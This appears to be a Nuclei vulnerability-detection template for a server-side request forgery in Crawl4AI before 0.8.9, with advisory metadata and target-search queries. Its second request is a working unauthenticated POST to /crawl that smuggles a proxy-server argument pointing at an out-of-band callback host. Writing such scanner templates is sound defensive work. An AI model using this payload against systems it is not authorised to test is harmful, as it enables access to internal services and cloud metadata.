id: CVE-2026-53755

info:
  name: crawl4ai < 0.8.9 - Server Side Request Forgery
  author: str4k3r
  severity: high
  description: |
    Crawl4AI < 0.8.9 contains a server-side request forgery caused by insufficient SSRF destination checks on proxy addresses in browser and crawler configurations, letting unauthenticated attackers access internal services and cloud metadata endpoints.
  impact: |
    Unauthenticated attackers can access internal services and cloud metadata, potentially leading to sensitive information disclosure and further network compromise.
  remediation: |
    Update to version 0.8.9 or later.
  reference:
    - https://github.com/unclecode/crawl4ai/security/advisories/GHSA-6qhc-x826-342c
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N
    cvss-score: 8.2
    cwe-id: CWE-918
  metadata:
    verified: true
    max-request: 1
    shodan-query: 'title:"crawl4ai"'
    fofa-query: 'body="crawl4ai"'
  tags: cve,cve2026,crawl4ai,ssrf,unauth,proxy,oast

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    max-redirects: 3

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_any(body, "crawl4ai", "Crawl4AI", "Crawl4ai")'
        condition: and
        internal: true

  - raw:
      - |
        POST /crawl HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"urls":["http://example.com"],"browser_config":{"type":"BrowserConfig","params":{"headless":true,"extra_args":["--proxy-server=http://{{interactsh-url}}"]}},"crawler_config":{"type":"CrawlerRunConfig","params":{"cache_mode":"BYPASS","page_timeout":8000}}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_any(interactsh_protocol, "http", "dns")'
        condition: and
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